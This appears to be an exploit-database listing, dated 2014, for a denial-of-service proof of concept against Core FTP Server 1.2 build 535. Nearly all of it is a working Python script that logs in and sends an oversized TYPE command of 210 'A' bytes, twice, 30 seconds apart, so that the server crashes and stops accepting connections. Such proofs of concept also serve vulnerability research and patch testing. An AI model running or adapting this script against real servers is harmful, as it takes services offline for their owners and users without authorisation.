Author

Kaczinski Ramirez

Risk

[

Security Risk Medium

]

0day-ID

0day-ID-22278

Category

dos / poc

Date add

25-05-2014

Platform

windows

#!/usr/bin/python
 
import socket,sys,time
 
def Usage():
        print ("Core FTP Server Version 1.2, build 535, 32-bit - Crash P.O.C.")
        print ("Usage: ./coreftp_dos.py <host> <port> <username> <password>")
        print ("Ex:    ./coreftp_dos.py 192.168.10.10 21 ftp ftp\n")
 
if len(sys.argv) <> 5:
        Usage()
        sys.exit(1)
else:
        host=sys.argv[1]
        port=sys.argv[2]
        user=sys.argv[3]
        passwd=sys.argv[4]
        evil = '\x41' * 210
        print "[+] Trying to crash Core FTP server with " + str(len(evil)) + " buffer bytes"
        print "[+] Host: " + host + " Port: " + port + " User: " + user + " Pass: " + passwd
        print "[+] Attempting to connect to the remote Core FTP Server..."
        first = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        port=int(port)
        try:
                connect = first.connect((host, port))
        except:
                print "[-] There was an error while trying to connect to the remote FTP Server"
                sys.exit(1)
        print "[+] Connection to remote server successfully... now trying to authenticate"
        first.recv(1024)
        first.send('USER ' + user + '\r\n')
        first.recv(1024)
        first.send('PASS ' + passwd + '\r\n')
        first.recv(1024)
        first.send('dir\r\n');
        first.send('TYPE ' + evil + '\r\n')
        try:
                first.recv(1024)
        except:
                print "[-] Couldn\'t authenticate in the remote FTP server"
                sys.exit(1)
        print "[+] First buffer was sent, waiting 30 seconds to send a second time with some more bad data..."
        first.close()
        second = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        time.sleep(30)
        try:
                connect = second.connect((host, port))
        except:
                print "[-] FTP Server isn\'t responding... it might had successfully crashed."
                sys.exit(1)
        second.send('USER ' + user + '\r\n')
        second.recv(1024)
        second.send('PASS ' + passwd + '\r\n')
        second.recv(1024)
        second.send('TYPE ' + evil + '\r\n')
        second.recv(1024)
        print "[+] By now, Core FTP Server should had crashed and will not accept new connections."
        second.close()
        sys.exit(0)

#  0day.today [2024-12-24]  #